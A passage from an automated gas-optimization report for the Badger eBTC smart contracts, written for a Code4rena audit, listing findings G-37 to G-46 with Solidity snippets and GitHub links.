https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L631

File: contracts/SortedCdps.sol

652    nextId != dummyId && !_validInsertPosition(_NICR, prevId, nextId)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L652

File: contracts/SortedCdps.sol

653    nextId = data.nodes[nextId].prevId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L653

File: contracts/SortedCdps.sol

654    prevId = data.nodes[nextId].prevId

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L654

[G-37] Superfluous event fields

  • Severity: Gas Optimization
  • Confidence: High

Description

Block.timestamp and block.number are added to event information by default so adding them manually wastes gas.

There are 1 instances of this issue:

File: contracts/Interfaces/IPriceFeed.sol

13    event UnhealthyFallbackCaller(address indexed _fallbackCaller, uint256 timestamp);

The event UnhealthyFallbackCaller in the contract IPriceFeed includes the field timestamp which is superfluous: https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IPriceFeed.sol#L13

[G-38] Cache Array Length Outside of Loop

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 9

Description

When using arrays in a for loop, calling .length on every iteration will result in unnecessary gas expenses. Instead, it is recommended to cache the array length beforehand, which saves 3 gas per iteration. For storage arrays, an additional 100 gas per iteration (except the first) can be saved by pre-caching the length

There are 3 instances of this issue:

File: contracts/Governor.sol

57    i < _usrs.length

caching the length of array

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L57

File: contracts/Governor.sol

122    i < roleIds.length

caching the length of array

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L122

File: contracts/Governor.sol

137    i < _sigs.length

caching the length of array

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L137

[G-39] State variables should be cached in stack variables rather than re-reading them from storage

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 2813

Description

State variables should be cached instead of re-reading them.Subsequent reads incur a 100 gas penalty.Caching such variables replaces the Gwarmaccess with much cheaper stack reads.

There are 29 instances of this issue:

File: contracts/ActivePool.sol

261    function flashLoan(
262            IERC3156FlashBorrower receiver,
263            address token,
264            uint256 amount,
265            bytes calldata data
266        ) external override returns (bool) 

should cache the following state variables: -

File: contracts/ActivePool.sol

31    uint256 internal systemCollShares

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L261-L310

File: contracts/BorrowerOperations.sol

1077    function flashLoan(
1078            IERC3156FlashBorrower receiver,
1079            address token,
1080            uint256 amount,
1081            bytes calldata data
1082        ) external override returns (bool) 

should cache the following state variables: -

File: contracts/BorrowerOperations.sol

57    address public feeRecipientAddress

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1077-L1108

File: contracts/CdpManager.sol

135    function _redeemCollateralFromCdp(
136            SingleRedemptionInputs memory _redeemColFromCdp
137        ) internal returns (SingleRedemptionValues memory singleRedemption) 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

168    mapping(bytes32 => Cdp) public Cdps

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L135-L234

File: contracts/CdpManager.sol

550    function _addCdpIdToArray(bytes32 _cdpId) internal returns (uint128 index) 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

205    bytes32[] public CdpIds

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L550-L563

File: contracts/CdpManager.sol

689    function _updateLastRedemptionTimestamp() internal 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

166    uint256 public lastRedemptionTimestamp

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L689-L700

File: contracts/CdpManager.sol

709    function _minutesPassedSinceLastRedemption() internal view returns (uint256) 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

166    uint256 public lastRedemptionTimestamp

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L709-L714

File: contracts/CdpManager.sol

905    function initializeCdp(
906            bytes32 _cdpId,
907            uint256 _debt,
908            uint256 _coll,
909            uint256 _liquidatorRewardShares,
910            address _borrower
911        ) external 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

168    mapping(bytes32 => Cdp) public Cdps

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L905-L936

File: contracts/CdpManagerStorage.sol

260    function _closeCdpWithoutRemovingSortedCdps(bytes32 _cdpId, Status closedStatus) internal 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

168    mapping(bytes32 => Cdp) public Cdps

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L260-L280

File: contracts/CdpManagerStorage.sol

410    function _removeStake(bytes32 _cdpId) internal 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

168    mapping(bytes32 => Cdp) public Cdps

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L410-L415

File: contracts/CdpManagerStorage.sol

441    function _computeNewStake(uint256 _coll) internal view returns (uint256) 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

176    uint256 public totalCollateralSnapshot
- 
File: contracts/CdpManagerStorage.sol

173    uint256 public totalStakesSnapshot

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L441-L457

File: contracts/CdpManagerStorage.sol

463    function _removeCdp(bytes32 _cdpId, uint256 cdpIdsArrayLength) internal 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

168    mapping(bytes32 => Cdp) public Cdps
- 
File: contracts/CdpManagerStorage.sol

205    bytes32[] public CdpIds

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L463-L484

File: contracts/CdpManagerStorage.sol

616    function getAccumulatedFeeSplitApplied(
617            bytes32 _cdpId,
618            uint256 _systemStEthFeePerUnitIndex
619        ) public view returns (uint256, uint256) 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

168    mapping(bytes32 => Cdp) public Cdps

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L616-L645

File: contracts/CdpManagerStorage.sol

761    function _calcSyncedGlobalAccounting(
762            uint256 _newIndex,
763            uint256 _oldIndex
764        ) internal view returns (uint256, uint256, uint256) 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

198    uint256 public override systemStEthFeePerUnitIndex

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L761-L779

File: contracts/EBTCToken.sol

246    function _transfer(address sender, address recipient, uint256 amount) internal 

should cache the following state variables: -

File: contracts/EBTCToken.sol

51    mapping(address => uint256) private _balances

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L246-L260

File: contracts/LiquidationLibrary.sol

862    function _redistributeDebt(uint256 _debt) internal 

should cache the following state variables: -

File: contracts/CdpManagerStorage.sol

187    uint256 public systemDebtRedistributionIndex

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L862-L892

File: contracts/PriceFeed.sol

98    function fetchPrice() external override returns (uint256) 

should cache the following state variables: -

File: contracts/PriceFeed.sol

48    Status public status
- 
File: contracts/PriceFeed.sol

45    uint256 public lastGoodPrice

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L98-L352

File: contracts/PriceFeed.sol

358    function setFallbackCaller(address _fallbackCaller) external requiresAuth 

should cache the following state variables: -

File: contracts/PriceFeed.sol

29    IFallbackCaller public fallbackCaller

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L358-L389

File: contracts/PriceFeed.sol

582    function _getCurrentFallbackResponse()
583            internal
584            view
585            returns (FallbackResponse memory fallbackResponse)
586        

should cache the following state variables: -

File: contracts/PriceFeed.sol

29    IFallbackCaller public fallbackCaller

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L582-L602

File: contracts/SortedCdps.sol

173    function _cdpOfOwnerByIndex(
174            address owner,
175            uint256 index,
176            bytes32 startNodeId,
177            uint maxNodes
178        ) internal view returns (bytes32, bool) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L173-L210

File: contracts/SortedCdps.sol

237    function _cdpCountOf(
238            address owner,
239            bytes32 startNodeId,
240            uint maxNodes
241        ) internal view returns (uint256, bytes32) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L237-L264

File: contracts/SortedCdps.sol

299    function _getCdpsOf(
300            address owner,
301            bytes32 startNodeId,
302            uint maxNodes,
303            uint maxArraySize
304        ) internal view returns (bytes32[] memory, uint256, bytes32) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L299-L336

File: contracts/SortedCdps.sol

344    function insert(
345            address owner,
346            uint256 _NICR,
347            bytes32 _prevId,
348            bytes32 _nextId
349        ) external override returns (bytes32) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

79    uint256 public nextCdpNonce

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L344-L361

File: contracts/SortedCdps.sol

363    function _insert(bytes32 _id, uint256 _NICR, bytes32 _prevId, bytes32 _nextId) internal 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L363-L406

File: contracts/SortedCdps.sol

419    function batchRemove(bytes32[] memory _ids) external override 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L419-L454

File: contracts/SortedCdps.sol

456    function _remove(bytes32 _id) internal 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L456-L491

File: contracts/SortedCdps.sol

519    function contains(bytes32 _id) public view override returns (bool) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L519-L526

File: contracts/SortedCdps.sol

591    function _validInsertPosition(
592            uint256 _NICR,
593            bytes32 _prevId,
594            bytes32 _nextId
595        ) internal view returns (bool) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L591-L612

File: contracts/SortedCdps.sol

619    function _descendList(uint256 _NICR, bytes32 _startId) internal view returns (bytes32, bytes32) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L619-L635

File: contracts/SortedCdps.sol

642    function _ascendList(uint256 _NICR, bytes32 _startId) internal view returns (bytes32, bytes32) 

should cache the following state variables: -

File: contracts/SortedCdps.sol

77    Data public data

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L642-L658

[G-40] Safe Subtraction Should Be Unchecked

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 935

Description

This detector identifies subtraction operations where the subtraction could safely be unchecked. This occurs when a prior if-statement or require() function ensures that the first operand (minuend) is greater than or equal to the second operand (subtrahend). In these cases, an unchecked subtraction would not result in an underflow error, and can save gas by skipping the redundant check.

There are 11 instances of this issue:

File: contracts/CdpManagerStorage.sol

557    uint256 deltaIndex = _newIndex - _prevIndex

should be unchecked because there is check:

File: contracts/CdpManagerStorage.sol

556    require(_newIndex > _prevIndex, "CDPManager: only take fee with bigger new index")



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L557

File: contracts/CdpManagerStorage.sol

637    return (
638                    _feeSplitDistributed,
639                    (_scaledCdpColl - _feeSplitDistributed) / DECIMAL_PRECISION
640                )

should be unchecked because there is check:

File: contracts/CdpManagerStorage.sol

636    _scaledCdpColl > _feeSplitDistributed



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L637-L640

File: contracts/CdpManager.sol

690    uint256 timePassed = block.timestamp > lastRedemptionTimestamp
691                ? block.timestamp - lastRedemptionTimestamp
692                : 0

should be unchecked because there is check:

File: contracts/CdpManager.sol

690    uint256 timePassed = block.timestamp > lastRedemptionTimestamp
691                ? block.timestamp - lastRedemptionTimestamp
692                : 0



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L690-L692

File: contracts/CdpManager.sol

710    return
711                block.timestamp > lastRedemptionTimestamp
712                    ? ((block.timestamp - lastRedemptionTimestamp) / SECONDS_IN_ONE_MINUTE)
713                    : 0

should be unchecked because there is check:

File: contracts/CdpManager.sol

710    return
711                block.timestamp > lastRedemptionTimestamp
712                    ? ((block.timestamp - lastRedemptionTimestamp) / SECONDS_IN_ONE_MINUTE)
713                    : 0



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L710-L713

File: contracts/LiquidationLibrary.sol

367    emit CdpLiquidated(
368                _recoveryState.cdpId,
369                _borrower,
370                _totalDebtToBurn,
371                // please note this is the collateral share of the liquidated CDP
372                _cappedColPortion,
373                CdpOperation.liquidateInRecoveryMode,
374                msg.sender,
375                _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
376            )

should be unchecked because there is check:

File: contracts/LiquidationLibrary.sol

367    emit CdpLiquidated(
368                _recoveryState.cdpId,
369                _borrower,
370                _totalDebtToBurn,
371                // please note this is the collateral share of the liquidated CDP
372                _cappedColPortion,
373                CdpOperation.liquidateInRecoveryMode,
374                msg.sender,
375                _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
376            )



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L367-L376

File: contracts/LiquidationLibrary.sol

567    collSurplus = _totalColToSend - toLiquidator

should be unchecked because there is check:

File: contracts/LiquidationLibrary.sol

564    assert(toLiquidator < _totalColToSend)



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L567

File: contracts/LiquidationLibrary.sol

281    emit CdpLiquidated(
282                _liqState.cdpId,
283                _borrower,
284                _totalDebtToBurn,
285                // please note this is the collateral share of the liquidated CDP
286                _cappedColPortion,
287                CdpOperation.liquidateInNormalMode,
288                msg.sender,
289                _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
290            )

should be unchecked because there is check:

File: contracts/LiquidationLibrary.sol

281    emit CdpLiquidated(
282                _liqState.cdpId,
283                _borrower,
284                _totalDebtToBurn,
285                // please note this is the collateral share of the liquidated CDP
286                _cappedColPortion,
287                CdpOperation.liquidateInNormalMode,
288                msg.sender,
289                _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
290            )



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L281-L290

File: contracts/LiquidationLibrary.sol

594    debtToRedistribute = _debtToRepay < _totalDebtToBurn
595                    ? _totalDebtToBurn - _debtToRepay //  Bad Debt (to be redistributed) is (CdpDebt - Repaid)
596                    : 0

should be unchecked because there is check:

File: contracts/LiquidationLibrary.sol

594    debtToRedistribute = _debtToRepay < _totalDebtToBurn
595                    ? _totalDebtToBurn - _debtToRepay //  Bad Debt (to be redistributed) is (CdpDebt - Repaid)
596                    : 0



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L594-L596

File: contracts/LiquidationLibrary.sol

437    emit CdpPartiallyLiquidated(
438                    _cdpId,
439                    sortedCdps.getOwnerAddress(_cdpId),
440                    _partialDebt,
441                    _partialColl,
442                    CdpOperation.partiallyLiquidate,
443                    msg.sender,
444                    _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
445                )

should be unchecked because there is check:

File: contracts/LiquidationLibrary.sol

437    emit CdpPartiallyLiquidated(
438                    _cdpId,
439                    sortedCdps.getOwnerAddress(_cdpId),
440                    _partialDebt,
441                    _partialColl,
442                    CdpOperation.partiallyLiquidate,
443                    msg.sender,
444                    _cappedColl > _debtToColl ? (_cappedColl - _debtToColl) : 0
445                )



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L437-L445

File: contracts/PriceFeed.sol

797    uint256 _scaledDecimal = _stEthEthDecimals > _ethBtcDecimals
798                ? 10 ** (_stEthEthDecimals - _ethBtcDecimals)
799                : 10 ** (_ethBtcDecimals - _stEthEthDecimals)

should be unchecked because there is check:

File: contracts/PriceFeed.sol

797    uint256 _scaledDecimal = _stEthEthDecimals > _ethBtcDecimals
798                ? 10 ** (_stEthEthDecimals - _ethBtcDecimals)
799                : 10 ** (_ethBtcDecimals - _stEthEthDecimals)



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L797-L799

File: contracts/SortedCdps.sol

425    bytes32 _lastNext = data.nodes[_ids[_len - 1]].nextId

should be unchecked because there is check:

File: contracts/SortedCdps.sol

422    require(_len > 1, "SortedCdps: batchRemove() only apply to multiple cdpIds!")



https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L425

[G-41] Detection of Unnecessary Checked Increments in Solidity Loop Statements

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 600

Description

Smart contract code that contains checked increments (++i) within loops.Those operations not require overflow checking. In these cases, it is more efficient to use unchecked{++i} or unchecked{i++} to save on gas costs, as this keyword was introduced in Solidity version 0.8.0. By using unchecked, unnecessary overflow checks can be avoided, resulting in a savings of 30-40 gas per loop iteration.

There are 10 instances of this issue:

File: contracts/Governor.sol

46    i++

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L46

File: contracts/Governor.sol

57    i++

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L57

File: contracts/Governor.sol

76    i++

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L76

File: contracts/Governor.sol

84    i++

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L84

File: contracts/Governor.sol

98    i++

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L98

File: contracts/Governor.sol

107    i++

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L107

File: contracts/Governor.sol

122    i++

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L122

File: contracts/Governor.sol

137    ++i

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L137

File: contracts/SortedCdps.sol

432    ++i

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L432

File: contracts/SortedCdps.sol

449    ++i

should be inside uncheck block

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L449

[G-42] Avoid Unnecessary Computation Inside Loops

  • Severity: Gas Optimization
  • Confidence: High

Description

This detector identifies instances of computations being performed inside loops that could be performed outside the loop to save gas.

Unnecessary computation inside loops:

Any computation performed inside a loop that doesn’t change with each iteration can be moved outside the loop to save gas.This detector identifies instances where the following unnecessary computations are performed inside loops:

  • 1 Local variables are read inside loops but never modified within the same loop, indicating they could be cached outside the loop.
  • 2 Computations involving constant expressions (literals) which result in the same output in every loop iteration.

By addressing these issues, gas usage can be optimized.

There are 3 instances of this issue:

File: contracts/SortedCdps.sol

202    maxNodes > 0 && i >= maxNodes

The following computations can be cached outside of loops for gas optimization maxNodes > 0
. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L202

File: contracts/SortedCdps.sol

259    maxNodes > 0 && i >= maxNodes

The following computations can be cached outside of loops for gas optimization maxNodes > 0
. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L259

File: contracts/SortedCdps.sol

330    maxNodes > 0 && i >= maxNodes

The following computations can be cached outside of loops for gas optimization maxNodes > 0
. https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L330

[G-43] Redundant Contract Existence Check in Consecutive External Calls

  • Severity: Gas Optimization
  • Confidence: Medium
  • Total Gas Saved: 800

Description

This detector identifies instances where there are consecutive external calls to the same contract, where the subsequent calls could use a low-level call to save gas.

Note: This detector only triggers if the function call does not return any value.

Prior to 0.8.10, the compiler inserted extra code, including EXTCODESIZE (100 gas), to check for contract existence for external function calls. In more recent Solidity versions the compiler will not insert these checks if the external call has a return value. Similar behavior can be achieved in earlier versions by using low-level calls, since low-level calls never check for contract existence.

There are 8 instances of this issue:

File: contracts/BorrowerOperations.sol

410    cdpManager.updateCdp(
411                _cdpId,
412                _borrower,
413                vars.collShares,
414                vars.debt,
415                vars.newCollShares,
416                vars.newDebt
417            )

This call could be replaced with a low-level call because the contract ICdpManager has already been checked in
Line: 343 cdpManager.syncAccounting(_cdpId)
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L410-L417

File: contracts/BorrowerOperations.sol

497    cdpManager.notifyStartGracePeriod(newTCR)

This call could be replaced with a low-level call because the contract ICdpManager has already been checked in
Line: 457 cdpManager.syncGlobalAccounting()
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L497

File: contracts/BorrowerOperations.sol

581    cdpManager.notifyEndGracePeriod(newTCR)

This call could be replaced with a low-level call because the contract ICdpManager has already been checked in
Line: 559 cdpManager.syncAccounting(_cdpId)
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L581

File: contracts/BorrowerOperations.sol

1103    ebtcToken.burn(feeRecipientAddress, amount)

This call could be replaced with a low-level call because the contract IEBTCToken has already been checked in
Line: 1088 ebtcToken.mint(address(receiver), amount)
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1103

File: contracts/CdpManager.sol

260    activePool.transferSystemCollSharesAndLiquidatorReward(
261                address(collSurplusPool),
262                _collSurplus,
263                _liquidatorRewardShares
264            )

This call could be replaced with a low-level call because the contract IActivePool has already been checked in
Line: 254 activePool.decreaseSystemDebt(_EBTC)
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L260-L264

File: contracts/CdpManager.sol

481    activePool.allocateSystemCollSharesToFeeRecipient(totals.feeCollShares)

This call could be replaced with a low-level call because the contract IActivePool has already been checked in
Line: 478 activePool.decreaseSystemDebt(totals.debtToRedeem)
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L481

File: contracts/LeverageMacroBase.sol

427    IERC20(swapData.tokenForSwap).safeApprove(swapData.addressForApprove, 0)

This call could be replaced with a low-level call because the contract SafeERC20 has already been checked in
Line: 405 IERC20(swapData.tokenForSwap).safeApprove( swapData.addressForApprove, swapData.exactApproveAmount )
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L427

File: contracts/LiquidationLibrary.sol

536    activePool.transferSystemCollSharesAndLiquidatorReward(
537                msg.sender,
538                totalCollSharesToSend,
539                totalLiquidatorRewardCollShares
540            )

This call could be replaced with a low-level call because the contract IActivePool has already been checked in
Line: 533 activePool.decreaseSystemDebt(totalDebtToBurn)
https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L536-L540

[G-44] Initialize Variables With Default Value

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 102

Description

It costs more gas to initialize variables to their default values than to let the default be applied.

There are 17 instances of this issue:

File: contracts/Governor.sol

46    uint256 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L46

File: contracts/Governor.sol

54    uint256 j = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L54

File: contracts/Governor.sol

57    uint256 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L57

File: contracts/Governor.sol

76    uint8 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L76

File: contracts/Governor.sol

82    uint256 j = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L82

File: contracts/Governor.sol

84    uint8 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L84

File: contracts/Governor.sol

98    uint8 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L98

File: contracts/Governor.sol

105    uint256 j = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L105

File: contracts/Governor.sol

107    uint8 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L107

File: contracts/Governor.sol

122    uint8 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L122

File: contracts/Governor.sol

137    uint256 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L137

File: contracts/SortedCdps.sol

182    uint _currentIndex = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L182

File: contracts/SortedCdps.sol

245    uint _ownedCount = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L245

File: contracts/SortedCdps.sol

246    uint i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L246

File: contracts/SortedCdps.sol

311    uint i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L311

File: contracts/SortedCdps.sol

432    uint256 i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L432

File: contracts/SortedCdps.sol

449    uint i = 0

no need to initialized with default value

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L449

[G-45] Unused Named Return Variables

  • Severity: Gas Optimization
  • Confidence: High

Description

Named return variables allow for clear and explicit naming of values to be returned from a function. However, when these variables are unused, it can lead to confusion and make the code less maintainable.

There are 4 instances of this issue:

File: contracts/CdpManagerStorage.sol

719    function getPendingRedistributedDebt(
720            bytes32 _cdpId
721        ) public view returns (uint256 pendingEBTCDebtReward) 

there is not use of this variables: @ pendingEBTCDebtReward

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L719-L724

File: contracts/CdpManager.sol

570    function getSystemDebt() public view returns (uint256 entireSystemDebt) 

there is not use of this variables: @ entireSystemDebt

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L570-L572

File: contracts/Governor.sol

146    function getRoleName(uint8 role) external view returns (string memory roleName) 

there is not use of this variables: @ roleName

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L146-L148

File: contracts/LiquidationLibrary.sol

544    function _calculatePartialLiquidationSurplusAndCap(
545            uint256 _ICR,
546            uint256 _price,
547            uint256 _totalDebtToBurn,
548            uint256 _totalColToSend
549        ) private view returns (uint256 toLiquidator, uint256 collSurplus, uint256 debtToRedistribute) 

there is not use of this variables: @ debtToRedistribute

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L544-L568

[G-46] Use assembly to write address storage values

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 1848

Description

Using assembly to write address storage values can potentially save gas costs. This detector flags instances where address storage values are written without using assembly.

There are 24 instances of this issue:

File: contracts/ActivePool.sol

57    feeRecipientAddress = _feeRecipientAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L57

File: contracts/ActivePool.sol

53    borrowerOperationsAddress = _borrowerOperationsAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L53

File: contracts/ActivePool.sol

54    cdpManagerAddress = _cdpManagerAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L54

File: contracts/ActivePool.sol

56    collSurplusPoolAddress = _collSurplusAddress

